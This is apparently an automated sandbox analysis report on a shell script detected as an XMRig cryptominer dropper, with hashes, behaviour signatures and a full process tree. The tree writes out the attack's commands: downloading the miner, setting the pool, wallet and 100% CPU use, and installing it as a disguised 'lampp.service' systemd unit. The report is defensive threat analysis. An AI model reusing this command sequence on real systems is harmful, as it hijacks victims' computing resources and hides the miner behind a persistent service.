Analysis

  • max time kernel
    6s
  • max time network
    597s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 12:08

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2821
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2825
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2826
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2829
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2830
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:2835
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:2836
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:2837
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:2837
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:2837
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:2837
                    • /usr/bin/rm
                      rm /tmp/xmrig.tar.gz
                      2⤵
                        PID:2838
                      • /usr/bin/sed
                        sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                        2⤵
                        • Reads runtime system information
                        PID:2839
                      • /root/lampp/xmrig
                        /root/lampp/xmrig --help
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        PID:2840
                      • /usr/bin/hostname
                        hostname
                        2⤵
                          PID:2843
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                            PID:2845
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:2844
                            • /usr/bin/sed
                              sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                              2⤵
                              • Reads runtime system information
                              PID:2846
                            • /usr/bin/sed
                              sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                              2⤵
                              • Reads runtime system information
                              PID:2847
                            • /usr/bin/sed
                              sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-7\",/" /root/lampp/config.json
                              2⤵
                                PID:2848
                              • /usr/bin/sed
                                sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                2⤵
                                  PID:2849
                                • /usr/bin/sed
                                  sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:2850
                                  • /usr/bin/sed
                                    sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                    2⤵
                                      PID:2851
                                    • /usr/bin/sed
                                      sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                      2⤵
                                        PID:2852
                                      • /usr/bin/cp
                                        cp /root/lampp/config.json /root/lampp/config_background.json
                                        2⤵
                                          PID:2853
                                        • /usr/bin/sed
                                          sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:2854
                                        • /usr/bin/cat
                                          cat
                                          2⤵
                                            PID:2855
                                          • /usr/bin/chmod
                                            chmod +x /root/lampp/miner.sh
                                            2⤵
                                              PID:2856
                                            • /usr/bin/sudo
                                              sudo -n true
                                              2⤵
                                              • Reads runtime system information
                                              PID:2857
                                              • /usr/bin/true
                                                true
                                                3⤵
                                                  PID:2858
                                              • /usr/bin/grep
                                                grep MemTotal /proc/meminfo
                                                2⤵
                                                  PID:2860
                                                • /usr/bin/awk
                                                  awk "{print \$2}"
                                                  2⤵
                                                    PID:2861
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:2862
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:2863
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                          PID:2864
                                                      • /usr/bin/sudo
                                                        sudo killall xmrig
                                                        2⤵
                                                          PID:2865
                                                          • /usr/bin/killall
                                                            killall xmrig
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:2866
                                                        • /usr/bin/sudo
                                                          sudo systemctl daemon-reload
                                                          2⤵
                                                            PID:2867
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                                PID:2868
                                                            • /usr/bin/sudo
                                                              sudo systemctl enable lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:2991
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                  PID:2992
                                                              • /usr/bin/sudo
                                                                sudo systemctl start lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:3116
                                                                • /usr/bin/systemctl
                                                                  systemctl start lampp.service
                                                                  3⤵
                                                                    PID:3117

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /root/lampp/config.json

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                f3294129e6b76283965ad86a815bf383

                                                                SHA1

                                                                5fe0ab538f86962efe82cb13fc2da745610740af

                                                                SHA256

                                                                578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                SHA512

                                                                07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                              • /root/lampp/miner.sh

                                                                Filesize

                                                                253B

                                                                MD5

                                                                f96a321a262287ceae164f23f232ed9c

                                                                SHA1

                                                                d1eeab41f244b42377afd7cc3de7428736162b24

                                                                SHA256

                                                                f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                SHA512

                                                                75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                              • /root/lampp/sed4rZ6eK

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                2dcde01b0c2fa24b7c70fd47813e4448

                                                                SHA1

                                                                bf2110dd900c6c6db940632a1a2dacbedb879093

                                                                SHA256

                                                                03bf7fdd3a6ebb486d10df9ad2fc107356c93c2e939ae724705a09c94271463e

                                                                SHA512

                                                                05b66395917be43bfb46a8b7718e76d621e29f479dbc4beae49731587f29c784cffb1e28709cf509a2d1051c4ba7594e4e53c90ba7fc8478bce1758427343018

                                                              • /root/lampp/sed6LAQrj

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d489ddbbb83271e967b8af615d17d3c7

                                                                SHA1

                                                                f0394a367a60e9727269882154098dec802774ef

                                                                SHA256

                                                                5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                SHA512

                                                                aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                              • /root/lampp/sedCU4Mn9

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                887f357cf8f38106f36f7402c0c8f4de

                                                                SHA1

                                                                975b1e9ae5cc7ab8a9ed0a150b8d614cd197e7af

                                                                SHA256

                                                                0634eab61a59ddf97c2f61607f7795d40f6933d1a4046bcfca30727b0732b697

                                                                SHA512

                                                                cb9c3118ffc86fcd20c972b89154e11d033a7e38ae864aa73ff2fa6b86083aaec6c8d5aa4b2d22adcd108c41b3a048fdbd2c0847ecfb08189c03a756489f3dbd

                                                              • /root/lampp/sedFiWWgw

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                84570534ad18ed25ee9feebb0792aef6

                                                                SHA1

                                                                60bf7656e04f0fe0786954f5ae30d1d4f7abe671

                                                                SHA256

                                                                5e5de9f50ae09fdd87b464415f15a6cbbe677d30b93f04a434681cac3135acf7

                                                                SHA512

                                                                e4d63ac69df813ab9f47705f0e99dc15ef8db2c99f15ff2335521fe13332bebdb7e12c982e0e48637a4b5aada1edf0ba0826639d612d4784613ef4f4c66a609a

                                                              • /root/lampp/sedILAQuZ

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                8b11b027dd187104473ee7d661ffe25f

                                                                SHA1

                                                                ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                SHA256

                                                                984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                SHA512

                                                                1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                              • /root/lampp/sedPvnfnD

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                7b3f9b7780a2bc77f6fdf2fca812e4e7

                                                                SHA1

                                                                52a76d4ed6693d106939901546f77ea5134ff455

                                                                SHA256

                                                                186f860b1364182c12e8574f73ed2f3fce03f4fac6b2f66fb250380ccadd9e39

                                                                SHA512

                                                                03ad203f6fe862d04a83f3de44cb48c3a779869b617f8b8a009b6f5944912a2f83707cde4aa72720074c36250d72d8f38dc6c6ef9572096ba40a40630efce849

                                                              • /root/lampp/xmrig

                                                                Filesize

                                                                8.4MB

                                                                MD5

                                                                a4d711cfa4f0b845b5bcf52348f539e8

                                                                SHA1

                                                                d529469094b5e657e6fb861e9fb7d8f130ca3d0e

                                                                SHA256

                                                                9a659bf8dcfa711db9eaa46f6c3b24bd5638c7f7299f5cbd5fbc908f147865a3

                                                                SHA512

                                                                1def372736f42a51e8a9d3c74ecef446268da57face4c4614423647103468cd9583fd32f654b336be5bf7c036af5162a97e7172ecb10f953d6cb95b35b921399

                                                              • /tmp/lampp.service

                                                                Filesize

                                                                177B

                                                                MD5

                                                                540c899b78585827e807a62f7345eaf5

                                                                SHA1

                                                                8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                SHA256

                                                                b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                SHA512

                                                                0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                              • /tmp/xmrig.tar.gz

                                                                Filesize

                                                                3.4MB

                                                                MD5

                                                                e003a3ec8bdd61151a61cadf950502c4

                                                                SHA1

                                                                2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                SHA256

                                                                80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                SHA512

                                                                ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9